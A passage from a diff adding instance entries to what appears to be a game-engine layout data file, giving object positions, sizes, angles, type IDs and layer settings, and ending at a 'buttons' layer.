+ 476,
+ 2183,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4459.82470703125,
+ 1083.528564453125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 895,
+ 854,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2199,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 895,
+ 851,
+ 0,
+ 92.81533813476562,
+ 49.44043731689453,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2200,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1330,
+ 834,
+ 0,
+ 548,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2201,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 699,
+ 741,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 584,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 647.4462890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3740.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1641,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3771.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1642,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3802.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1643,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3926.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1806,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2079,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3988.439697265625,
+ 642.022705078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4019.439697265625,
+ 642.022705078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2161,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4174.515625,
+ 641.7650756835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2216,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206.515625,
+ 641.7650756835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4237.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2218,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4268.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4392.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2223,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4423.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2224,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4455.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2225,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 262,
+ 0,
+ 78,
+ 710,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2535,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1799,
+ 682,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.6981320381164551,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2195,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1798.70556640625,
+ 683.4268798828125,
+ 0,
+ 145.5962829589844,
+ 19.72144317626953,
+ 0,
+ -0.2072841972112656,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5631,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1271,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1513,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1301,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1514,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 639.8355102539062,
+ 721.3646240234375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2198,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1375.648071289063,
+ 684.9107055664062,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2226,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1190.497802734375,
+ 713.6922607421875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2227,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1651.9462890625,
+ 680.1162109375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2228,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1838.057861328125,
+ 616.80029296875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2229,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2338.829345703125,
+ 543.8895263671875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2230,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2522.07470703125,
+ 378.8828125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2231,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2704.53662109375,
+ 218.9889068603516,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2232,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2936.510498046875,
+ 453.7116088867188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5541,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3205.610107421875,
+ 550.12646484375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1793,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3296.752197265625,
+ 743.9132690429688,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5560,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536.593505859375,
+ 672.9220581054688,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5561,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.5654296875,
+ 608.6449584960938,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5562,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4100.68994140625,
+ 610.5645141601562,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1644,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4334.76416015625,
+ 612.4840698242188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1794,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4639.85302734375,
+ 703.6202392578125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1805,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4910.3837890625,
+ 791.8815307617188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2220,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3390,
+ 366,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2221,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3389,
+ 454,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2222,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3389,
+ 542,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5563,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 382,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5564,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5565,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1134,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5566,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 761,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5567,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1512,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5568,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2263.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5569,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1890.629760742188,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5570,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3015.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5571,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2642.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5572,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3393.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5573,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4144.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5574,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3771.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5575,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4896.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5576,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4523.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5577,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5275.2919921875,
+ 889.3223266601562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5578,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2734.2265625,
+ 1226.000122070313,
+ 0,
+ 5749,
+ 457,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5579,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2677,
+ 950,
+ 0,
+ 5574,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 1618,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 410,
+ -72,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5586,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2750.79638671875,
+ 293.0381469726563,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6633,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 614040812795726,
+ true,
+ [
